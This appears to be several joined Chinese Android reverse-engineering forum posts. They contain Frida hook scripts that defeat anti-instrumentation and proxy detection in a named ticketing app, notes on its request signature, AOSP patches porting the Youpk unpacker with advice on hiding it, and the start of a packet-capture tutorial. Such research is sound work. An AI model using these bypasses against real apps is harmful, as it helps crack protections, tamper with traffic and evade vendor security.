\\n使用魔改frida成功过掉检测,现在开始分析具体的frida检测。
\\n\\n\\n魔改frida已经随文件打包,大家可以去github支持下作者。
\\n
\\n\\n[!tip]
\\n注意,遇到有frida检测的样本尽量要-f挂起,如果-F可能造成手机卡死重启,耽误调试进度
\\n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | function hook_open() { / / https: / / blog.csdn.net / a656343072 / article / details / 40539889 / * 函数原型: int open ( const char * pathname, int oflags); int open ( const char * pathname, int oflags, mode_t mode); mode仅当创建新文件时才使用,用于指定文件的访问权限。 pathname 是待打开 / 创建文件的路径名; oflags用于指定文件的打开 / 创建模式,这个参数可由以下常量(定义于 fcntl.h)通过逻辑或构成。 O_RDONLY 只读模式 O_WRONLY 只写模式 O_RDWR 读写模式 以上三者是互斥的,即不可以同时使用。 * / var open_addr = Module.findExportByName( \\"libc.so\\" , \\"open\\" ) var io_map = Memory.allocUtf8String( \\"/proc/13585/maps\\" ); Interceptor.attach(open_addr, { onEnter: function (args) { console.log( \'targetFunction called from:\\\\n\' + Thread.backtrace(this.context, Backtracer.ACCURATE) . map (DebugSymbol.fromAddress).join( \'\\\\n\' ) + \'\\\\n\' ); if (args[ 0 ].readCString().indexOf( \\"/proc/\\" )! = - 1 && args[ 0 ].readCString().indexOf( \\"maps\\" )! = - 1 ){ args[ 0 ] = io_map / / ptr(args[ 0 ]).writePointer(Memory.allocUtf8String(args[ 0 ].readCString().replaceAll( / \\\\d + / g, \\"1\\" ))) / / args[ 0 ] = Memory.allocUtf8String( \\"/proc/1/maps\\" ) / / Memory.protect(ptr(args[ 0 ]), args[ 0 ].readCString().length, \'rwx\' ); / / var value_new_str = Memory.allocUtf8String( \\"/proc/1/maps\\" ) / / console.log( \\"args0=\\" + args[ 0 ].readCString()) / / ptr(args[ 0 ]).writeByteArray([ 0x2f , 0x70 , 0x72 , 0x6f , 0x63 , 0x2f , 0x32 , 0x2f , 0x6d , 0x61 , 0x70 , 0x73 , 0x0 ]) / / console.log( \\"args0=\\" + args[ 0 ].readCString()) } this.pathname = args[ 0 ] this.oflags = args[ 1 ] this.mode = args[ 2 ] }, onLeave: function (retval) { console.log( \\"retval=\\" + retval + \\"---\\" + \\"pathname=\\" + this.pathname.readCString() + \\"---oflags=\\" + this.oflags) if (this.pathname.readCString().indexOf( \\"libmsaoaidsec\\" )! = - 1 ){ / / 过了惠头条 retval.replace( 0xffffffff ) } console.log( \\"open pathname=\\" + this.pathname.readCString() + \\"---oflags=\\" + this.oflags) if (this.pathname.readCString().indexOf( \\"/proc/\\" )! = - 1 && this.pathname.readCString().indexOf( \\"maps\\" )! = - 1 ){ retval.replace( 0x0 ) } } }) } |
我们来hook一下open函数 并打印堆栈,自下而上找到frida检测逻辑代码的点,并学习此检测。
\\n发现有一个so在不断获取/proc下的状态信息
\\n1 2 3 4 5 6 | retval = 0x7b - - - pathname = / proc / 13205 / status - - - oflags = 0x0 open pathname = / proc / 13205 / status - - - oflags = 0x0 targetFunction called from : 0x7bfdefd314 libmonochrome_64.so! 0x3c0b314 0x7bfdefd314 libmonochrome_64.so! 0x3c0b314 0x7bfdefd314 libmonochrome_64.so! 0x3c0b314 |
搜索发现这貌似是一个sdk的附属so,不是作者自写so。
\\n据搜集发现,应该是和webview的实现有关
\\n故pass
\\n\\n\\n[!tip]
\\n逆向工程中搜集信息是一个非常重要的环节,不要吝惜你的谷歌不用
\\n有很多大佬已经给你铺好了路
\\n这句话写给你们,也写给我自己,这真的很重要
\\n
\\n\\n[!note]
\\n在寻找frida的各种方法中,我们分为两条路线:
\\n一种是以anti-frida-su.js为主的,去满足正常环境的要求,去各种抹除掉frida注入后的种种痕迹,但是这是致命的,因为frida有无数种特征,你无论如何是抹除不完的,不如重新按照frida写一个自己的HOOK工具。但是幸运的是,有无数大佬为我们铺路,例如非虫大佬的11个patch,能够过掉市场上百分之70的检测,但这是远远不够的。
\\nCRC检测的出现让魔改的frida也无法招架得住。例如,对libart.so的prettymethod的方法的不可规避的注入,让frida无处遁形。 我们该怎么办?
\\n非虫大佬已经给出了答案:修改hook pretymthod的hook时机,这样能过掉百分之5左右的样本(为了节约用户硬件资源,启屏后就会关闭),但是大部分样本还是通过开启线程进行crc循环检测
\\n第一种方法变得更加曲折起来,必须要配合魔改rom以及linux内核来进行进一步隐藏。
\\n
但是请注意,crc检测必须要开启线程来检测,我们来讨论第二种过掉的方法,patch线程
\\n在正式操作之前,我想和大家讨论检测粒度问题:
\\n\\n\\n[!note]
\\n请大家思考,frida的检测粒度一般在什么级别,我们先做假设,假
\\n如我是一个开发人员,我在进行界面跳转,再或者数据请求后,加几句话,对23946端口的检测(frida检测一个例子,当然没有那么简单),那么frida检测我们可以认为是语句级别的粒度,因为只有几行代码,我们也无法避免,因为我们要进行操作。
\\n接上部分,我们公司有安全开发人员,给了我一个函数,我不用考虑别的,直接调用即可,那frida检测我们可以认为是函数级别的粒度
\\n如果我们公司没有开发人员怎么办,当然是外包啦,引入一个安全公司的so,打钱打钱。
\\n
接上面的讨论,第一种情况几乎不存在,我既要懂业务也要懂安全,除非我自己是全栈(这种适用于mini App)各大H播软件可能会出现。
\\n第二种情况可能存在,也就是业务代码与安全代码掺杂,也是我们不希望看到的情况,一个线程里既有检测代码,也有业务逻辑代码。即patch掉线程业务也无法运行
\\n第三种情况是最常见的,一些安全的sdk,对设备评估,基本数据请求加密,以及反调试的实现。
\\n第三种情况也要分两种方式讨论,第一种,纯检测so,没有任何加密行为
\\n我给他归结为so粒度的,那么直接跳过so加载即可。
\\n第二种,安全公司提供的so,内部有设备id等加密方式计算,那么跳过就不是那么简单了 我们可以定位so加载的头部位置,在怀疑后,检测so的各个段的加载,定位so大致位置,来进行patch反调试
\\n使用spawn方法启动frida(不要使用魔改的,看不到退出时间点)
\\n发现开启
\\n1 | normal find thread func offset libshell - super .com.showstartfans.activity.so 0x765f7450d0 360656 580d0 |
这条线程的时候,软件挂掉了
\\n我们增加脚本的过滤条件
\\n1 2 3 | else if (so_name.indexOf( \\"libshell-super.com.showstartfans.activity.so\\" )> - 1 && offset = = 360656 ){ } |
发现成功过掉了frida检测
\\n失败案例:
\\n没有过滤offset==360656,软件直接发生了崩溃,反正鼓励大家多试试
\\nps:本文章不讨论脱qiao,脱qiao好的已经在根目录了,请大家合法使用
\\n打开抓包后提示网络异常,关闭后就不异常了,确定为抓包检测。
\\n\\n\\n[!tip]
\\n
这一步抓包检测(非证书教研式),有一种特殊方式,需要软路由。
\\n以及透明代理(非证书教研式),考虑到第一种需要设备,第二种需要docker云手机,这里不做讨论。
\\n如何进行抓包检测定位?首先找到登陆的activity,找到登陆函数,一步一步往下跟。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | var jclazz = null; var jobj = null; function getObjClassName(obj) { if (!jclazz) { var jclazz = Java.use( \\"java.lang.Class\\" ); } if (!jobj) { var jobj = Java.use( \\"java.lang.Object\\" ); } return jclazz.getName.call(jobj.getClass.call(obj)); } function watch(obj, mtdName) { var listener_name = getObjClassName(obj); var target = Java.use(listener_name); if (!target || !mtdName in target) { return ; } / / send( \\"[WatchEvent] hooking \\" + mtdName + \\": \\" + listener_name); target[mtdName].overloads.forEach(function (overload) { overload.implementation = function () { / / send( \\"[WatchEvent] \\" + mtdName + \\": \\" + getObjClassName(this)); console.log( \\"[WatchEvent] \\" + mtdName + \\": \\" + getObjClassName(this)) return this[mtdName]. apply (this, arguments); }; }) } function OnClickListener() { Java.perform(function () { / / 以spawn启动进程的模式来attach的话 Java.use( \\"android.view.View\\" ).setOnClickListener.implementation = function (listener) { if (listener ! = null) { watch(listener, \'onClick\' ); } return this.setOnClickListener(listener); }; / / 如果frida以attach的模式进行attch的话 Java.choose( \\"android.view.View$ListenerInfo\\" , { onMatch: function (instance) { instance = instance.mOnClickListener.value; if (instance) { console.log( \\"mOnClickListener name is :\\" + getObjClassName(instance)); watch(instance, \'onClick\' ); } }, onComplete: function () { } }) }) } setImmediate(OnClickListener); |
注入监听脚本,并点击按钮
\\n[22041216C::秀动 ]-> [WatchEvent] onClick: com.showstartfans.activity.activitys.login.XDLoginActivity
我们可以看到账号密码的位置,往下跟,进入this.Z函数
\\n发现这是在组装登陆bean 返回上一层
\\n进入j函数
\\n继续往下跟
\\n发现进入了okhttp逻辑
\\n我们进入n.j这个函数
\\n判断d函数在组装client,这里可能会设置禁止代理相关函数
\\n\\n\\n[!tip]
\\n建议大家自己开发一个okhttp的应用跟一下,有助于文章理解
\\n
进入g(context)
\\n发现第一处代理检测点
\\n1 2 3 | if (!x0.g()) { builder.proxy(Proxy.NO_PROXY); } |
X0.g是一个函数,疑似代理管理类
\\n发现确实是这样的,相关的代理检测逻辑都在这里
\\n这里调用后,决定我们是否被检测到是开启代理,核心逻辑在本类的i函数里
\\n1 2 | NetworkCapabilities networkCapabilities; return (network = = null || connectivityManager = = null || (networkCapabilities = connectivityManager.getNetworkCapabilities(network)) = = null || !networkCapabilities.hasTransport( 4 )) ? false : true; |
这个教给大家自己去学习了
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | Java.perform(function () { var x0Class = Java.use( \\"i.a0.a.n.x0\\" ); / / 确保方法存在 if (x0Class.i.overloads.length > 0 ) { / / Hook 所有重载版本(如果有多个的话) x0Class.i.overloads.forEach(function (overload) { overload.implementation = function () { console.log( \\"i.a0.a.n.x0.i method hooked\\" ); / / 返回 false return false; }; }); } }); |
这次我们打算分析crpsign这个参数
\\njadx直接搜就搜到了
\\n发现来源正是这里的native函数
\\nshowstart_net.so
使用龙哥的 ida脚本 findhash一把梭,可以直接找到加密位置,发现是个标准的md5加盐,结合入参就能分析成功
\\n\\n\\n[!note]
\\n值得讨论的点:这个so是rust配合开发的,
\\n下单接口的请求体和相应体都是加密的,就在上面的so中实现,没有找到任何aes的特征,但是找到了rust库的aes包的引用
\\n推测原因1:rust数据结构和标准的c不一样,就连字符串结尾都不是以\\\\0结尾的
\\n导致反编译出的so贼乱
\\n解决办法:开发rust aes 并提取特征点写出插件
\\n
在rust和jni交互中,rust似乎实现了自己的一套runtime,有一些系统调用unidbg无法跑起来,希望有大佬一起来研究下!如果unidbg补好了,那么接下来所有rust开发的so都可以进行基本的补环境的能力。
\\n感兴趣的大佬可以继续研究与我交流
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n参考文章:
\\nhttps://github.com/jitcor/Youpk8
\\nhttps://github.com/Youlor/Youpk
\\nhttps://bbs.kanxue.com/thread-271358-1.htm#msg_header_h3_0
\\nhttps://www.jianshu.com/p/18ff0b8e0b01
\\nFart脱壳王课程
\\n本文章会定时更新,有问题直接向我提问,我会补充到文章里
\\n同时我会在完善编译的所有流程(为小白铺路)
\\n并完善移植原理的解读(为想要了解原理的大佬解答)
\\n同时我会完善我如何从aosp8移植到10的过程,如何去寻找变更api(授人以渔,大家学会可以自行把我目前的移植到aosp12)
\\nYoupk是一个很强大的框架,他的模块化组织形式非常新颖,但是随着安卓系统的不断更新,移植难度也非常大,由于使用了大量的api,导致移植有一定的难度,与fart相比,模块化的插桩更加优雅。
\\n已经有大佬做了fart10的移植(见参考文章3),我这里就不和他重复了,来尝试下youpk的移植,并去除特征指纹。
\\n测试设备:pixel1
\\naosp移植版本:aosp10.0.0_r2(本来想移植fartext,失败了)
\\n(aosp11与10的api相关类似,可以自己尝试)
\\n1.需要你有基础的aosp编译修改经验,简单修改能编译成功
\\n硬盘需要大于1TB 我是32G+2TB 编译体验非常差 有条件推荐上4TB+64G
\\n如何开启clion和android studio导入项目源码:
\\n编译的时候要注意repo的python版本,最好大于3.7 如果在低版本ubuntu系统,需要自己编译python
\\nrepo fatal: error unknown url type: https
\\n原因:python没有设置ssl
\\n./configure --prefix=/usr/local/python3 --with-ssl
\\n解决文档:
\\n\\n解决:在编译的时候配置ssl
\\n找到一个趁手的编译环境+IDE环境是成功编译的第一步骤
\\n由于7.1→8.0→10.0有多版本跨度,我们选择youpk8的源码进行移植,来减少api差异
\\n第一步,导入unpacker类到
\\n这里我们可以第一步去除指纹,修改包名
\\n我这里的包名是com.jiqiu
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | package com.jiqiu; import android.app.ActivityThread; import android.os.Looper; import java.io.BufferedReader; import java.io.FileReader; import java.io.File; public class Unpacker { // public static String UNPACK_CONFIG = \\"/data/local/tmp/unpacker.config\\" ; // 去指纹位置2,修改配置名文件,不一定需要config尾缀 public static String UNPACK_CONFIG = \\"/data/local/tmp/gagaga\\" ; public static int UNPACK_INTERVAL = 10 * 1000; public static Thread unpackerThread = null; public static boolean shouldUnpack() { boolean should_unpack = false ; String processName = ActivityThread.currentProcessName(); BufferedReader br = null; try { br = new BufferedReader(new FileReader(UNPACK_CONFIG)); String line; while ((line = br.readLine()) != null) { if (line.equals(processName)) { should_unpack = true ; break ; } } br.close(); } catch (Exception ignored) { } return should_unpack; } public static void unpack() { if (Unpacker.unpackerThread != null) { return ; } if (!shouldUnpack()) { return ; } // 开启线程调用 Unpacker.unpackerThread = new Thread() { @Override public void run() { while ( true ) { try { Thread. sleep (UNPACK_INTERVAL); } catch (InterruptedException e) { e.printStackTrace(); } Unpacker.unpackNative(); } } }; Unpacker.unpackerThread.start(); } public static native void unpackNative(); } |
类名也完全可以修改,在修改后要在
\\n这个文件里加上自己的包名,否则编译不过
\\n比如我打的包名是com.jiqiu
\\n在里面就是
\\n之后进入
\\ncore/java/android/app/ActivityThread.java
\\n导入自己的包名
\\n在app启动后,注入自己的脱壳线程
\\n注意:如果你修改了类名,这里的导入和调用也需要修改
\\n想比于fart,youpk的主动调用部分在native层实现,java层仅仅是启动一个线程 启动native函数
\\n第一步修改dexopt.cc 路径如上
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | --- a /dex2oat/dex2oat .cc +++ b /dex2oat/dex2oat .cc @@ -1036,6 +1036,8 @@ class Dex2Oat final { CompilerFilter::NameOfFilter(compiler_options_->GetCompilerFilter())); key_value_store_->Put(OatHeader::kConcurrentCopying, kUseReadBarrier ? OatHeader::kTrueValue : OatHeader::kFalseValue); + + if (invocation_file_.get() != -1) { std::ostringstream oss; for (int i = 0; i < argc; ++i) { @@ -1089,7 +1091,23 @@ class Dex2Oat final { *out = true ; } } - + //patch by Youlor + // ++++++++++++++++++++++++++++ + const char* UNPACK_CONFIG = \\"/data/local/tmp/gagaga\\" ; + bool ShouldUnpack() { + std::ifstream config(UNPACK_CONFIG); + std::string line; + if (config) { + while (std::getline(config, line)) { + std::string package_name = line.substr(0, line. find ( \':\' )); + if (oat_location_. find (package_name) != std::string::npos) { + return true ; + } + } + } + return false ; + } + // ++++++++++++++++++++++++++++ // Parse the arguments from the command line. In case of an unrecognized option or impossible // values /combinations , a usage error will be displayed and exit () is called. Thus, if the method // returns, arguments have been successfully parsed. @@ -1240,7 +1258,14 @@ class Dex2Oat final { ProcessOptions(parser_options.get()); // Insert some compiler things. + InsertCompileOptions(argc, argv); + //patch by Youlor + // ++++++++++++++++++++++++++++ + if (ShouldUnpack()) { + compiler_options_->SetCompilerFilter(CompilerFilter::kVerify); + } + // ++++++++++++++++++++++++++++ } |
注意,这里的config路径一定要与java层设置的一致,见去指纹2
\\nconst char* UNPACK_CONFIG = \\"/data/local/tmp/gagaga\\";
\\n并且修改Android.bp
\\n添加目标编译文件
\\n添加编译文件后我们就可以初步处理youpk的所有不兼容api,附件提供了修改前后的youpk文件夹,在数十次的编译中,已经修改成安卓系统最新支持api
\\n在新版系统编译,这个宏定义视为不安全,直接使用math库的同名函数即可过编译,记得注释原来的
\\n在新版系统中,dex相关库文件移动到了libdexfile文件夹下,我们只需改动libdexfile/Android.bp
\\n导出其依赖的库,并按新版文件调用,即可解决依赖问题
\\n1 2 3 4 5 6 7 8 9 10 11 12 | // Check whether the oat output files are writable, and open them for later. Also open a swap diff --git a /libdexfile/Android .bp b /libdexfile/Android .bp index 30d1bcd..2ff2f10 100644 --- a /libdexfile/Android .bp +++ b /libdexfile/Android .bp @@ -95,7 +95,7 @@ cc_defaults { }, }, generated_sources: [ \\"dexfile_operator_srcs\\" ], - export_include_dirs: [ \\".\\" ], + export_include_dirs: [ \\".\\" , \\"dex\\" ], } |
globals位置发生改变
\\n#include \\"base/globals.h”
\\nmirror::Class*指针修改为ObjPtrmirror::Class
\\nsetstatus的状态码发生改变 mirror::Class::kStatusInitialized变为ClassStatus::kInitialized
\\n删除size_t Unpacker::getCodeItemSize(ArtMethod* method)方法 新版有api可以直接实现
\\nuint32_t code_item_size = method->GetDexFile()->GetCodeItemSize(*code_item);
\\n可以直接获取到codeitem的size 省去了上面的函数
\\nmethod->GetCodeItem()->insns_;
\\n新版本的codeitem没有insns_属性,需要迭代器访问
\\n见参考文章4
\\n修改为 const uint16_t* const insns = CodeItemInstructionAccessor(*method->GetDexFile(),method->GetCodeItem()).Insns();即可编译通过
\\n最后修改注册函数
\\nREGISTER_NATIVE_METHODS(\\"com/jiqiu/Unpacker\\");
\\n包名和类名修改过的可以去修改下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | --- a /runtime/runtime .cc +++ b /runtime/runtime .cc @@ -15,7 +15,9 @@ */ #include \\"runtime.h\\" - + //add + #include \\"unpacker/unpacker.h\\" + //addend // sys /mount .h has to come before linux /fs .h due to redefinition of MS_RDONLY, MS_BIND, etc #include <sys/mount.h> #ifdef __linux__ @@ -1907,6 +1909,10 @@ void Runtime::RegisterRuntimeNativeMethods(JNIEnv* env ) { register_org_apache_harmony_dalvik_ddmc_DdmServer( env ); register_org_apache_harmony_dalvik_ddmc_DdmVmInternal( env ); register_sun_misc_Unsafe( env ); + + //add + Unpacker::register_cn_youlor_Unpacker( env ); + //addend } std::ostream& operator<<(std::ostream& os, const DeoptimizationKind& kind) { |
1 2 3 4 5 6 7 8 9 10 | --- a /runtime/Android .bp +++ b /runtime/Android .bp @@ -350,6 +352,9 @@ libart_cc_defaults { // ART is allowed to link to libicuuc directly // since they are in the same module \\"-DANDROID_LINK_SHARED_ICU4C\\" , + \\"-Wno-error\\" , + \\"-DART_USE_CXX_INTERPRETER=1\\" , ], }, |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | --- a /runtime/class_linker .h +++ b /runtime/class_linker .h @@ -1385,6 +1385,9 @@ class ClassLinker { class FindVirtualMethodHolderVisitor; friend class AppImageLoadingHelper; + //add + friend class Unpacker; + //addend friend class ImageDumper; // for DexLock friend struct linker::CompilationHelper; // For Compile in ImageTest. friend class linker::ImageWriter; // for GetClassRoots diff --git a /runtime/interpreter/interpreter_switch_impl-inl .h b /runtime/interpreter/interpreter_switch_impl-inl .h index 36cfee4..b6e5ff6 100644 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | diff --git a /runtime/art_method .cc b /runtime/art_method .cc index 0890da8..2cd96d2 100644 --- a /runtime/art_method .cc +++ b /runtime/art_method .cc @@ -50,7 +50,9 @@ #include \\"runtime_callbacks.h\\" #include \\"scoped_thread_state_change-inl.h\\" #include \\"vdex_file.h\\" - + //add + #include \\"unpacker/unpacker.h\\" + //addend namespace art { using android::base::StringPrintf; @@ -322,13 +324,28 @@ void ArtMethod::Invoke(Thread* self, uint32_t* args, uint32_t args_size, JValue* // If the runtime is not yet started or it is required by the debugger, then perform the // Invocation by the interpreter, explicitly forcing interpretation over JIT to prevent // cycling around the various JIT /Interpreter methods that handle method invocation. - if (UNLIKELY(!runtime->IsStarted() || - (self->IsForceInterpreter() && !IsNative() && !IsProxyMethod() && IsInvokable()) || - Dbg::IsForcedInterpreterNeededForCalling(self, this))) { + + // if (UNLIKELY(!runtime->IsStarted() || + // (self->IsForceInterpreter() && !IsNative() && !IsProxyMethod() && IsInvokable()) || + // Dbg::IsForcedInterpreterNeededForCalling(self, this))) { + //add + if (UNLIKELY(!runtime->IsStarted() || Dbg::IsForcedInterpreterNeededForCalling(self, this) + || (Unpacker::isFakeInvoke(self, this) && !this->IsNative()))) { + + //addend if (IsStatic()) { art::interpreter::EnterInterpreterFromInvoke( self, this, nullptr, args, result, /*stay_in_interpreter=*/ true ); } else { + //patch by Youlor + // ++++++++++++++++++++++++++++ + // 如果是主动调用fake invoke并且是native方法则不执行 + if (Unpacker::isFakeInvoke(self, this) && this->IsNative()) { + // Pop transition. + self->PopManagedStackFragment(fragment); + return ; + } + // ++++++++++++++++++++++++++++ mirror::Object* receiver = reinterpret_cast<StackReference<mirror::Object>*>(&args[0])->AsMirrorPtr(); art::interpreter::EnterInterpreterFromInvoke( diff --git a /runtime/class_linker .h b /runtime/class_linker .h |
a/runtime/interpreter/interpreter_switch_impl-inl.h
\\n注意这个不是在cpp中实现了,在interpreter_switch_impl-inl.h头中实现
\\n而且youpk插桩的宏定义在aosp10中改为了函数判断,无法在函数中插桩
\\n只需要在相应位置插桩即可解决(已给出patch)
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | --- a /runtime/interpreter/interpreter_switch_impl-inl .h +++ b /runtime/interpreter/interpreter_switch_impl-inl .h @@ -18,7 +18,9 @@ #define ART_RUNTIME_INTERPRETER_INTERPRETER_SWITCH_IMPL_INL_H_ #include \\"interpreter_switch_impl.h\\" - + //add + #include \\"unpacker/unpacker.h\\" + //addend #include \\"base/enums.h\\" #include \\"base/globals.h\\" #include \\"base/memory_tool.h\\" @@ -225,6 +227,7 @@ class InstructionHandler { if (!CheckForceReturn()) { return false ; } + if (UNLIKELY(instrumentation->HasDexPcListeners())) { uint8_t opcode = inst->Opcode(inst_data); bool is_move_result_object = (opcode == Instruction::MOVE_RESULT_OBJECT); @@ -243,6 +246,8 @@ class InstructionHandler { return false ; } } + + //addend return true ; } @@ -2643,12 +2648,25 @@ ATTRIBUTE_NO_SANITIZE_ADDRESS void ExecuteSwitchImplCpp(SwitchImplContext* ctx) << \\"Entered interpreter from invoke without retry instruction being handled!\\" ; bool const interpret_one_instruction = ctx->interpret_one_instruction; + + //add + int inst_count=-1; + //addend while ( true ) { dex_pc = inst->GetDexPc(insns); shadow_frame.SetDexPC(dex_pc); TraceExecution(shadow_frame, inst, dex_pc); inst_data = inst->Fetch16(0); { + //add + inst_count++; \\\\ + bool dumped = Unpacker::beforeInstructionExecute(self, shadow_frame.GetMethod(), \\\\ + dex_pc, inst_count); \\\\ + + if (dumped) { + return ; + } + //addend bool exit_loop = false ; InstructionHandler<do_access_check, transaction_active> handler( ctx, instrumentation, self, shadow_frame, dex_pc, inst, inst_data, exit_loop); @@ -2662,6 +2680,7 @@ ATTRIBUTE_NO_SANITIZE_ADDRESS void ExecuteSwitchImplCpp(SwitchImplContext* ctx) continue ; } } + switch (inst->Opcode(inst_data)) { #define OPCODE_CASE(OPCODE, OPCODE_NAME, pname, f, i, a, e, v) \\\\ case OPCODE: { \\\\ @@ -2681,6 +2700,13 @@ DEX_INSTRUCTION_LIST(OPCODE_CASE) if (UNLIKELY(interpret_one_instruction)) { break ; } + //patch by Youlor + // ++++++++++++++++++++++++++++ + bool dumped = Unpacker::afterInstructionExecute(self, shadow_frame.GetMethod(), dex_pc, inst_count); + if (dumped) { + return ; + } + // ++++++++++++++++++++++++++++ } // Record where we stopped. shadow_frame.SetDexPC(inst->GetDexPc(insns)); diff --git a /runtime/runtime .cc b /runtime/runtime .cc index 51a40e7..275324c 100644 |
https://github.com/LSPosed/AndroidHiddenApiBypass
\\n解决方法:
\\n换一个注册的名字,可以选定一些厂商的特殊包名注册,如xiaomi meizu huawei等特殊包名
\\n修改config名字或落地地方挑选app不可达路径(之后会集中讨论)
\\nDexFIile静态注册了一个函数,作为与native桥接的函数,由于比较独特,直接可以通过反射调用,甚至可以做进一步下沉,在libart.so的导出表中发现这个函数
\\n在ActivityThred中出现了很多工具类函数,可以反射调用检测,以及在art_method中有额外的导出函数,可以通过扫描libart.so的导出表来扫描制定名字
\\n解决方法:
\\n难点:
\\n权限的申请(脱壳机一般都有)
\\n用户隐私的保护 (厂商一般不管)
\\n解决办法:
\\n修改系统selinux,注册全新的selinux标签,编写系统应用,进行文件的存储和获取(小肩膀沙盒定制思路)
\\n注册系统服务,app通过调用,存储到/system 目录下
\\n以上两种方法均可进行dex和config文件的落地
\\n难点:
\\n各大厂商对于rom均有定制,libart.so数量均不一致
\\n无法太大的做到导出函数数量的特征(这个是真的致命打击)
\\n解决办法:
\\n建立机型库,对机型的各个文件进行模型建立,检测是否为异常libart,判断是否为异常机型
\\n脱壳机一般使用pixel以及nexus等机型做定制rom,可以针对这些机型做风控(误杀率高)
\\n所以可以对aosp的定制进行检测,对aosp的指纹进行检测(目前大部分脱壳机过不去企业壳都折在了这里)
\\n解决办法:
\\n使用开源的lineageos 以及pixel experience系统进行定制,这些系统都已经去除了很多aosp的特征
\\n(除非日后国内哪家厂商开源了他们的操作系统)
\\n使用支持这些rom的手机进行定制,这里我强烈推荐一加手机,简直无敌 随便刷随便解锁 还能9008救砖(比某xel6代好太多了)
\\nhttps://fortunate-decimal-730.notion.site/Youpk-Aosp10-ead82bb5990c4574a9fc0e5d899beaa1?pvs=4
\\n移植后的unpcker模块
\\n所有patch:
\\n[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
\\n\\napp 版本:8.46.0 酷安下载
设备:Pixel 2XL Android 8.1
hook:frida 12.8.0、frida-tools 5.3.0
hook libc.so 模块中 strstr 与 strcmp,一把绕过。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | function Bypass_frida() { var pt_strstr = Module.findExportByName( \\"libc.so\\" , \'strstr\' ); Interceptor.attach(pt_strstr, { onEnter: function (args) { var args1 = args[ 0 ].readCString(); var args2 = args[ 1 ].readCString(); if ( args2.indexOf( \\"gum-js-loop\\" ) ! = = - 1 || args2.indexOf( \\"pool-frida\\" ) ! = = - 1 || args2.indexOf( \\"linjector\\" ) ! = = - 1 || args2.indexOf( \\"REJECT\\" ) ! = = - 1 || args2.indexOf( \\"frida\\" ) ! = = - 1 || args2.indexOf( \\"gmain\\" ) ! = = - 1 || args2.indexOf( \\"gdbus\\" ) ! = = - 1 || args2.indexOf( \\"tmp\\" ) ! = = - 1 ) { console.log( \\"strstr--\x3e\\" , args1, args2); this.hook_str = true; } }, onLeave: function (retval) { if (this.hook_str) { retval.replace( 0 ); } } }); var pt_strcmp = Module.findExportByName( \\"libc.so\\" , \'strcmp\' ); Interceptor.attach(pt_strcmp, { onEnter: function (args) { var args1 = args[ 0 ].readCString(); var args2 = args[ 1 ].readCString(); if ( args2.indexOf( \\"gum-js-loop\\" ) ! = = - 1 || args2.indexOf( \\"pool-frida\\" ) ! = = - 1 || args2.indexOf( \\"linjector\\" ) ! = = - 1 || args2.indexOf( \\"REJECT\\" ) ! = = - 1 || args2.indexOf( \\"frida\\" ) ! = = - 1 || args2.indexOf( \\"gmain\\" ) ! = = - 1 || args2.indexOf( \\"gdbus\\" ) ! = = - 1 || args2.indexOf( \\"tmp\\" ) ! = = - 1 ) { console.log( \\"strcmp--\x3e\\" , args1, args2); this.hook_cmp = true; } }, onLeave: function (retval) { if (this.hook_cmp) { retval.replace( 0 ); } } }) } Bypass_frida(); |
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
\\n\\n1.了解抓包技术的基本原理和应用场景
2.了解多种抓包工具进行安卓App的网络通信分析
3.了解网络协议的基础知识并能应用于抓包分析
1.教程Demo(更新)
2.Reqable
在计算机网络中,“包”通常指的是在网络上传输的数据单元,也被称为数据包。在互联网协议(IP)的语境下,数据包是由报头(Header)和载荷(Payload)组成,其中报头包含了源地址、目的地址、长度等信息,而载荷则是实际要传输的数据。
\\n抓包具体指的是通过某些工具获取安卓App与服务器之间传输的网络数据,这些数据通常用于逆向分析、协议接口分析或App渗透测试,帮助安全工程师理解App与服务器之间的通信细节,如请求和响应的具体内容,从而进行安全评估或逆向工程。
\\n1.帮助定位加密或混淆的代码中的关键部分
2.逆向接口(比如:一些第三方影视app的解析接口、分析是否为服务器校验)
3.篡改数据包实现免重打包破解&屏蔽广告
4.协议分析&爬虫需求
Web,即万维网(World Wide Web),是互联网的一个重要组成部分,它是一种基于超文本和HTTP(HyperText Transfer Protocol,超文本传输协议)的全球性、动态交互的、跨平台的分布式图形信息系统。Web允许用户通过超链接在不同的网页之间导航,从而获取和浏览信息。
